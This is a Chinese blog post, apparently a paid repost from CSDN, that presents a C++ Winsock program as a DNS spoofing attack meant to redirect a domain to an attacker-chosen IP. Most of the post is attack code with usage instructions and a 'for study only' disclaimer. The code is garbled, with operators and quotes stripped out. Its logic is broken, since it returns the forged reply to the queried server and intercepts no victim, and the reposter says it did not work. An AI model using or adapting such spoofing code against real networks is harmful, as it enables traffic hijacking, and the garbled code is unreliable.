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使用C实现DNS欺骗攻击-CSDN博客
使用C实现DNS欺骗攻击
DNS劫持是一种常见的网络攻击方式#xff0c;通过篡改DNS响应数据#xff0c;使得用户访问的网站被重定向到攻击者指定的恶意站…文章为花钱购买转载但我测试并未成功
使用C实现DNS欺骗攻击-CSDN博客
使用C实现DNS欺骗攻击
DNS劫持是一种常见的网络攻击方式通过篡改DNS响应数据使得用户访问的网站被重定向到攻击者指定的恶意站点。本文将介绍如何使用C编写一个简单的DNS欺骗程序并给出相应的源代码。
DNS欺骗原理
在DNS查询过程中当客户端向DNS服务器请求解析某个域名时DNS服务器会返回该域名对应的IP地址。攻击者可以伪造DNS响应数据使得客户端获取到错误的IP地址从而将其重定向到指定的网站上。
实现代码
我们使用C编写一个简单的DNS欺骗程序使得当客户端请求解析特定的域名时我们可以将其重定向到指定的IP地址。具体的代码如下
#include iostream
#include winsock2.h
#include ws2tcpip.h#pragma comment(lib, ws2_32.lib)#define DNS_PORT 53
#define BUF_SIZE 512// DNS头部
typedef struct _DNS_HEADER {unsigned short id;unsigned short flags;unsigned short qcount;unsigned short acount;unsigned short nscount;unsigned short arcount;
} DNS_HEADER, *PDNS_HEADER;// 域名格式化函数
void format_domain_name(char* src, char* dst)
{int i, j 0;strcat(src, .);for (i 0; i strlen(src); i) {if (src[i] .) {*dst i - j;for (; j i; j) {*dst src[j];}j;}}*dst \0;
}// DNS查询
int dns_query(char* domain_name, char* dns_server_ip, char* fake_ip)
{WSADATA wsaData;int ret WSAStartup(MAKEWORD(2, 2), wsaData);if (ret ! 0) {std::cout WSAStartup failed: ret std::endl;return -1;}// 创建socketSOCKET sock socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);if (sock INVALID_SOCKET) {std::cout Create socket failed: WSAGetLastError() std::endl;return -1;}// DNS服务器地址sockaddr_in dns_addr;memset(dns_addr, 0, sizeof(sockaddr_in));dns_addr.sin_family AF_INET;dns_addr.sin_port htons(DNS_PORT);inet_pton(AF_INET, dns_server_ip, dns_addr.sin_addr.s_addr);// 构造DNS查询报文char buf[BUF_SIZE];memset(buf, 0, BUF_SIZE);DNS_HEADER* dns_header (DNS_HEADER*)buf;dns_header-id (unsigned short)GetTickCount();dns_header-flags htons(0x0100);dns_header-qcount htons(1);char* query (char*)(dns_header 1);format_domain_name(domain_name, query);unsigned short* qtype (unsigned short*)(query strlen((const char*)query) 1);*qtype htons(0x0001);unsigned short* qclass (unsigned short*)(qtype 1);*qclass htons(0x0001);// 发送DNS查询ret sendto(sock, buf, sizeof(DNS_HEADER) strlen((const char*)query) 5,0, (sockaddr*)dns_addr, sizeof(dns_addr));if (ret SOCKET_ERROR) {std::cout Send DNS query failed: WSAGetLastError() std::endl;closesocket(sock);return -1;}// 接收DNS响应sockaddr_in from_addr;int from_len sizeof(from_addr);ret recvfrom(sock, buf, BUF_SIZE, 0, (sockaddr*)from_addr, from_len);if (ret SOCKET_ERROR) {std::cout Receive DNS response failed: WSAGetLastError() std::endl;closesocket(sock);return -1;}// 修改DNS响应DNS_HEADER* rsp_header (DNS_HEADER*)buf;unsigned short answer_count ntohs(rsp_header-acount);char* ptr (char*)(rsp_header 1);bool found false;for (int i 0; i answer_count; i) {if (*ptr 0xC0 *(ptr 2) 0x01) {found true;break;}ptr;}if (found) {// 修改IP地址unsigned short* type (unsigned short*)(ptr 1);unsigned short* class_ (unsigned short*)(type 1);unsigned int* ttl (unsigned int*)(class_ 1);unsigned short* data_len (unsigned short*)(ttl 1);unsigned int* ip (unsigned int*)(data_len 1);*ip inet_addr(fake_ip);} else {// 添加一个新的DNS响应char* new_rsp ptr;format_domain_name(www.example.com, new_rsp);unsigned short* new_type (unsigned short*)(new_rsp strlen((const char*)new_rsp) 1);*new_type htons(0x0001);unsigned short* new_class_ (unsigned short*)(new_type 1);*new_class_ htons(0x0001);unsigned int* new_ttl (unsigned int*)(new_class_ 1);*new_ttl htonl(300);unsigned short* new_data_len (unsigned short*)(new_ttl 1);*new_data_len htons(4);unsigned int* new_ip (unsigned int*)(new_data_len 1);*new_ip inet_addr(fake_ip);rsp_header-acount ntohs(answer_count 1);}// 发送修改后的DNS响应ret sendto(sock, buf, ret, 0, (sockaddr*)from_addr, from_len);if (ret SOCKET_ERROR) {std::cout Send modified DNS response failed: WSAGetLastError() std::endl;closesocket(sock);return -1;}std::cout DNS query sent and response modified. std::endl;closesocket(sock);WSACleanup();return 0;
}int main()
{// 使用192.168.1.1代替实际的DNS服务器IPdns_query(www.example.com, 192.168.1.1, 1.2.3.4);return 0;
}使用方法
在DNS查询时调用dns_query函数并传入相应的参数即可实现DNS欺骗攻击。其中domain_name表示需要欺骗的域名dns_server_ip表示实际DNS服务器的IP地址fake_ip表示需要重定向到的IP地址。
注意事项
本文仅提供学习和研究使用请勿用于非法用途。在实际应用中还需要考虑更加复杂的攻击方式和防御措施。
